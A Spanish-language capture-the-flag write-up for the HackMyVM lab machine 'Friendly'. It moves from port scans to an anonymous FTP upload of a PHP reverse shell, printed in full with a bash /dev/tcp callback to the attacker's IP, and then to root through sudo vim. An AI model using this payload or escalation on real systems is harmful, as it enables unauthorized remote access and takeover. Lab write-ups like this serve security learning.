cd ~/blog

~/writeups/hmv/028-friendly.md

028 - Friendly

easy Linux hmv 27-02-2024
Anonymous FTP upload (RCE)sudo vim Privesc
hackmyvm.eu/machines/machine.php?vm=Friendly

~1 min de lectura


Comenzamos con un escaneo general y específico de puertos:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.22
 nmap -sCV -p21,80 -oN 02-targeted.txt 192.168.1.22
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-27 17:56 -03
Nmap scan report for 192.168.1.22
Host is up (0.00031s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--   1 root     root        10725 Feb 23  2023 index.html
80/tcp open  http    Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Apache2 Debian Default Page: It works

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.30 seconds

El FTP anónimo expone el index.html del sitio web (mismo root), lo que sugiere que el directorio FTP es el DocumentRoot. Iniciamos sesión anónima y comprobamos que podemos subir archivos, así que subimos una reverse shell PHP:

 cat reverse.php
<?php
    shell_exec("bash -c 'bash -i >& /dev/tcp/192.168.1.10/1234 0>&1'");
?>
ftp> put reverse.php
200 PORT command successful
150 Opening BINARY mode data connection for reverse.php
226 Transfer complete
81 bytes sent in 0,000102 seconds (776 kbytes/s)
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection for file list
-rw-r--r--   1 root     root        10725 Feb 23  2023 index.html
-rw-r--r--   1 ftp      nogroup        81 Feb 27 21:23 reverse.php
226 Transfer complete

Accedemos a http://192.168.1.22/reverse.php, obtenemos una shell y la primera flag. Iniciamos la escalada con sudo -l:

www-data@friendly:/home/RiJaba1$ sudo -l
Matching Defaults entries for www-data on friendly:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on friendly:
    (ALL : ALL) NOPASSWD: /usr/bin/vim

Podemos ejecutar vim como cualquier usuario, lo que aprovechamos (GTFOBins) para lanzar una shell de root:

www-data@friendly:/home/RiJaba1$ sudo vim -c ':!/bin/bash'
root@friendly:/home/RiJaba1#

Al intentar leer la flag, encontramos un señuelo:

root@friendly:/home/RiJaba1/Private# cat /root/root.txt
cat /root/root.txt
Not yet! Find root.txt.

Buscamos otros .txt con "root" en el nombre y encontramos la flag real en el log de Apache:

root@friendly:~# find / -name "*.txt" | grep root
/var/log/apache2/root.txt
/root/root.txt

Obtenemos la flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados